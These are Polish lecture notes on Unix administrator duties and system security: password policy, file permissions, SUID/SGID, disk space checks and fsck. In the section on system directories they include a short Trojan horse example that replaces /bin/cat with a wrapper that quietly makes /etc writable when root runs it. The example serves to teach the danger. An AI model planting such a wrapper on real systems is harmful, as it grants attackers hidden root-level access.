Bezpieczeństwo – zadania administratora systemu
Opracował: Zbigniew Suski
1
Zadania administratora systemu
Główne zagadnienia wykładu
Zadania instalacyjne
•
fizyczne zainstalowanie komputera z pamięciami masowymi i kartami specjalizowanymi;
•
instalowanie oprogramowania podstawowego;
•
instalowanie terminali, modemów, drukarek;
•
instalowanie użytkowych pakietów programowych;
•
dostosowanie parametrów środowiska systemu do potrzeb użytkowników.
Zadania pielęgnacyjne
•
kontrola poziomu wykorzystania zasobów;
•
strojenie systemu;
•
archiwizacja systemu plików;
•
kontrola zajętości przestrzeni dyskowej;
•
kontrola spójności systemu plików;
•
rekonfiguracja systemu plików;
•
kontrola atrybutów związanych z utrzymaniem bezpieczeństwa systemu;
•
podejmowanie działań dla utrzymania pożądanego poziomu bezpieczeństwa.
Obsługa żądań użytkowników
•
zakładanie i usuwanie kont użytkowników;
•
podział użytkowników na grupy;
•
ustalanie zezwoleń na korzystanie z wyróżnionych zasobów systemu;
•
odblokowywanie terminali i kont;
•
kopiowanie dyskietek;
•
powiadamianie użytkowników o zmianach w systemie.
Zadania wynikające z potrzeb bieżących
•
uruchamianie i zatrzymywanie systemu;
•
usuwanie zablokowanych procesów;
•
sprawdzanie plików kroniki systemu;
•
zapis wszystkich modyfikacji systemu i zdarzeń w dzienniku systemu.
Usuwanie awarii
•
ustalanie przyczyn awarii;
•
rekonstrukcja systemu plików.
Elementarne zasady ochrony
We wszystkich systemach, w których przechowywane i przetwarzane dane stanowią pewną
tajemnicę, wymagane jest przestrzeganie elementarnych zasad dla zapewnienia właściwej
ochrony systemu. Sprowadzają się one do:
•
właściwego użycia haseł;
- wybieranie
haseł trudnych do odgadnięcia i łatwych do zapamiętania;
-
unikanie zapisywanie haseł;
Bezpieczeństwo – zadania administratora systemu
Opracował: Zbigniew Suski
2
-
wykorzystywanie mechanizmu starzenia się haseł;
•
odpowiedniego stosowania praw dostępu do plików i katalogów;
- wstawienie
polecenia
umask do pliku startowego;
- ustawianie
minimalnych praw dostępu;
-
przewidywanie skutków ustawienia praw dostępu w stosunku do katalogów;
•
ochrony konta i parametrów określających atrybuty środowiskowe konta;
- niedopuszczenie
możliwości pracy osobie postronnej (skrypt blok/ujący terminal);
-
odpowiednie ustawienie praw dostępu do katalogu macierzystego;
-
ustawienie zmiennej PATH (skutki wstawienia do ścieżki katalogu macierzystego).
Zasady bezpieczeństwa dla użytkowników:
•
używaj właściwego hasła, łatwego do zapamiętania, nie znajdującego się w żadnym ze
słowników, wykorzystuj techniki mnemoniczne do określenia hasła;
•
nigdy nie opuszczaj zalogowanego terminala, pamiętaj zawsze o zamknięciu sesji lub użyciu
programu blokującego terminal (lock);
•
chroń wszystkie swoje pliki i katalogi, a w szczególności katalog HOME przed możliwością
zapisu przez użytkowników należących do grupy i pozostałych;
•
używaj restrykcyjnej maski dla określania praw dostępu dla nowo tworzonych plików
(umask 27 lub umask 77), która pozbawia wszelkich praw dostępu użytkowników trzeciej
kategorii (others), a członkom grupy pozostawia ewentualnie prawo odczytu i wykonywania.
Podstawowy zakres działań administratora w ramach ochrony systemu powinien obejmować
następujące elementy:
•
zarządzanie hasłami;
•
ochrona plików systemowych stanowiących "newralgiczne" miejsca dla bezpieczeństwa
systemu;
•
ochrona katalogów systemowych;
•
ochrona przed wszelkimi zagrożeniami powodowanymi własnymi mechanizmami
systemowymi.
Zadania administratora w zakresie zarządzania hasłami
•
akcja uświadamiająca użytkowników;
•
kontrolowanie, czy użytkownicy właściwie tworzą hasła (sposób hakerski - programy
dostępne komercyjnie)
•
właściwy dobór parametrów mechanizmu starzenia haseł.
Zadania administratora w zakresie ochrony newralgicznych plików systemowych
Kontrola pliku /etc/passwd powinna obejmować:
•
prawo własności i prawa dostępu;
•
poprawność pól w każdej z pozycji, określających konta użytkownika;
•
obecność hasła dla każdego konta;
•
pozycje kont o identyfikatorze równym 0.
Bezpieczeństwo – zadania administratora systemu
Opracował: Zbigniew Suski
3
Właścicielem pliku /etc/passwd powinien być użytkownik root. Plik ten powinien mieć
określone prawo do odczytu (r) dla wszystkich trzech kategorii użytkowników. Do kontroli można
wykorzystać polecenia pwck, pwdck, grep, cron.
Pliki specjalne
Pliki specjalne dyskowe powinny mieć prawa dostępu r i w tylko dla właściciela root. Prawa
takie umożliwiają dostęp do bloków dyskowych z pominięciem kontroli dostępu.
Prawa dostępu do plików terminali są przekazywane użytkownikowi otwierającemu sesję.
Po zakończeniu sesji zwracane root'owi. Hacker po uzyskaniu prawa zapisu może uruchomić
program udający proces login. Może w ten sposób uzyskać hasło użytkownika.
Zadania administratora w zakresie ochrony katalogów systemowych
W każdym systemie UNIX istnieje szereg kont administracyjnych jak root, bin, adm,
system, uucp, lp. Umożliwia to rozdzielenie funkcji administracyjnych.
Ochrona katalogów polega głównie na kontroli praw zapisu do tych katalogów. W katalogu
/etc znajdują się między innymi pliki: .profile, passwd. Prawo zapisu do katalogu /bin pozwala na
zainstalowanie skryptu pełniącego rolę Konia Trojańskiego.
$ ls -ld /bin
drwxrwxrwx 2 bin bin 5632 Jul 10 09:30 /bin
$ cd /bin
$ mv cat dcat
$ dcat > cat
if id|grep root > /dev/null; then chmod +w /etc; fi
exec /bin/dcat $*
<Control-D>
$
Odnajdywanie wszystkich katalogow z prawem zapisu dla trzeciej kategorii użytkowników można
zrealizować poprzez polecenie
# find / -type d -perm -2 -print > /tmp/zapisywalne
Zadania administratora w zakresie ochrony przed skutkami mechanizmu identyfikatora
skutecznego
Każdy proces wykonywany w środowisku systemu UNIX charakteryzuje się dwoma
identyfikatorami, tzw. identyfikatorem rzeczywistym (ang. real) i identyfikatorem skutecznym (ang.
effective). Każdy z tych identyfikatorów stanowi parę (identyfikator użytkownika - UID, identyfikator
grupy - GID). Identyfikator rzeczywisty reprezentuje dane ustalone przez proces login. Przywileje
dostępu rozpatrywane są względem identyfikatora skutecznego.
Kiedy wydajemy polecenie date dla interpretatora /bin/sh, to w rezultacie identyfikatory
rzeczywisty i skuteczny procesu date są identyczne. Niektóre jednak z ogólnodostępnych
programów systemu UNIX muszą korzystać z plików o ściśle ograniczonych prawach dostępu. Gdy
wydamy polecenie /bin/passwd, to proces passwd przyjmie jako skuteczny identyfikator (root,
sys). W chwili uruchomienia procesu następuje ustawienie identyfikatora skutecznego zgodnie z
Bezpieczeństwo – zadania administratora systemu
Opracował: Zbigniew Suski
4
identyfikatorem właściciela pliku z programem, jeśli plik ten ma ustawiony bit SUID (ang. set user
identity) lub SGID (ang. set group identity). W przypadku wspomnianego procesu passwd
dziedziczy on identyfikator użytkownika od właściciela pliku /bin/passwd, a więc root, gdyż plik
/bin/passwd ma ustawione bity SUID, SGID. Na listingu uzyskanym za pomocą komendy ls plik jest
oznaczony jako wykonywalny, ze zmianą identyfikatora, co sygnalizuje litera 's' użyta zamiast litery
'x':
Bity SUID/SGID mogą być zmieniane za pomocą polecenia chmod, przy wykorzystaniu
wartości numerycznych (wartość 4000 dotyczy bitu SUID, a wartość 2000 bitu SGID).
Administrator powinien wykrywać takie zagrożenia, dokonując przeglądu wszystkich plików
posiadających własność SUID/SGID i wykorzystując polecenie find postaci:
# find / \(-perm -4000 -o -perm -2000\) -print > /tmp/suid_files.
Problem zagrożenia bezpieczeństwa systemu przez mechanizm SUID/SGID został praktycznie
usunięty w systemach o zwiększonym poziomie ochrony (systemy klasy C2 i klas wyższych).
Zadania administratora w zakresie obsługi systemu plików
•
instalowanie w systemie nowych dysków i tworzenie systemów plików;
•
utrzymywanie wolnej przestrzeni na dyskach;
•
zarządzanie udziałami użytkowników w systemie plików;
•
utrzymywanie integralności systemu plików;
•
wykonywanie kopii bezpieczeństwa systemu plików;
•
wykonywanie kopii archiwalnych systemu plików.
Kontrola zajętości pamięci.
Bardzo ważnym zadaniem administratora jest pielęgnacja systemu plików. Obejmuje ona
między innymi dbanie o zapewnienie każdemu użytkownikowi obszaru pamięci wystarczającego
dla jego potrzeb. Wobec tego administrator musi śledzić wykorzystanie pamięci w całym systemie
plików i podejmować odpowiednie działania, gdy obszar wolnej pamięci staje się zbyt mały.
System UNIX działa efektywnie, gdy w każdym systemie plików przynajmniej 15% obszaru
jest wolne. Administrator systemu powinien regularnie kontrolować wielkość wolnej pamięci we
wszystkich zamontowanych systemach plików oraz przypominać użytkownikom o konieczności
usuwania niepotrzebnych zbiorów. Przypomnienie takie można umieścić w zbiorze /etc/motd.
Będzie ono wówczas wyświetlane na terminalach użytkowników przy każdorazowym otwarciu sesji
(message of the day).
Komenda cleantmp czyści katalog plików tymczasowych /tmp. W zbiorze
/etc/default/cleantmp można określić jak często mają być czyszczone kluczowe katalogi.
Komenda df powoduje wyświetlenie liczby bloków pamięci dostępnych w określonym
systemie plików. Użycie odpowiedniej opcji w tym poleceniu umożliwia wyświetlenie również
procentowego udziału zajętej przestrzeni dyskowej.
Do wysyłania komunikatów do użytkowników administrator może wykorzystać polecenie
wall lub pocztę elektroniczną (mail).
Bezpieczeństwo – zadania administratora systemu
Opracował: Zbigniew Suski
5
Aby wyświetlić liczbę bloków zajmowanych przez katalog, należy użyć polecenia du. Z
kolei polecenie quot umożliwia wyświetlenie listy użytkowników wraz z liczbą bloków pamięci
dyskowej zajmowanych przez ich zbiory w określonym systemie plików.
Procedura kontroli wolnej przestrzeni
•
Wysłać komunikat do użytkowników o potrzebie usunięcia niewykorzystywanych plików.
•
Zlokalizować wyjątkowo duże katalogi i pliki.
•
Zlokalizować i usunąć pliki tymczasowe i pliki core.
•
Usunąć zawartość plików typu log.
•
Zredukować fragmentację dysku poprzez wykorzystanie składowania systemu plików, jego
usunięcie i odtworzenie.
•
Utworzyć i zamontować dodatkowy system plików (jeżeli nadal obszar wolny jest zbyt mały).
Kontrola integralności systemu plików.
Jednym z zadań administratora systemu jest zapewnienie ciągłej ochrony informacji
przechowywanej w systemie. Zbiory mogą ulec zniszczeniu w wyniku:
- zaniku zasilania,
- błędów sprzętu,
- błędów użytkownika.
System operacyjny UNIX wyposażony jest w pewne struktury nadmiarowe umożliwiające naprawę
uszkodzonego systemu plików. Uszkodzenie takie może być np. skutkiem zaniku zasilania.
Wszystkie działania na pamięci dyskowej UNIX wykonuje asynchronicznie, wykorzystując pamięć
buforową. W buforach znajduje się też najczęściej główny blok systemu plików (superblock) oraz
tablica węzłów indeksowych. Po upadku systemu spowodowanym awarią, stan podstawowych
struktur które zawierają m.in. listę wolnych bloków, zwykle nie odpowiada stanowi faktycznemu.
Do rekonstrukcji systemu plików wykorzystywany jest program fsck. Program ten
uruchamiany jest automatycznie w czasie ładowania systemu. Jeżeli system został zamknięty w
sposób nieprawidłowy, to podczas jego ponownego ładowania pojawi się komunikat informujący o
braku integralności systemu plików. Jednocześnie następuje zapytanie, czy podjąć próbę
zlikwidowania braku integralności. Odpowiedzią na to pytanie powinno być y (yes).
Program fsck można również uruchamiać w czasie pracy systemu. Należy jednak
przedtem wprowadzić system w tryb pracy jednoużytkownikowej. Sprawdzenie integralności
systemu plików przebiega w sześciu fazach. Obejmują one sprawdzanie bloków i ich rozmiarów,
ścieżek dostępu, połączeń, zgodności licznika łączników do pliku dla każdego zapisu w katalogu
oraz listy wolnych bloków. W każdej z faz program fsck wyświetla komunikaty o błędach w
systemie oraz połączone z nimi pytania o reakcję administratora na te błędy. Administrator
podejmuje decyzje dotyczące usunięcia wykrytych błędów odpowiadając na postawione pytania y
lub n.
Błędy lokalizowane przez program fsck
•
bloki należące do wielu plików (i-węzłów);
•
bloki zaznaczone jako wolne, lecz w rzeczywistości używane;
•
bloki zaznaczone jako używane, w rzeczywistości wolne;
•
niewłaściwe liczby łączników w i-węzłach (powoduje to utratę lub błędy w katalogach);
•
rozbieżność między rozmiarem pliku w i-węźle a liczbą przydzielonych bloków;
•
nielegalne bloki przypisane do pliku (np tablice systemowe);
Bezpieczeństwo – zadania administratora systemu
Opracował: Zbigniew Suski
6
•
niespójne dane w tablicach systemu plików;
•
pliki zagubione (nie występujące w żadnym katalogu);
•
nielegalne numery i-węzłów w katalogach (np nie opisujące żadnego pliku);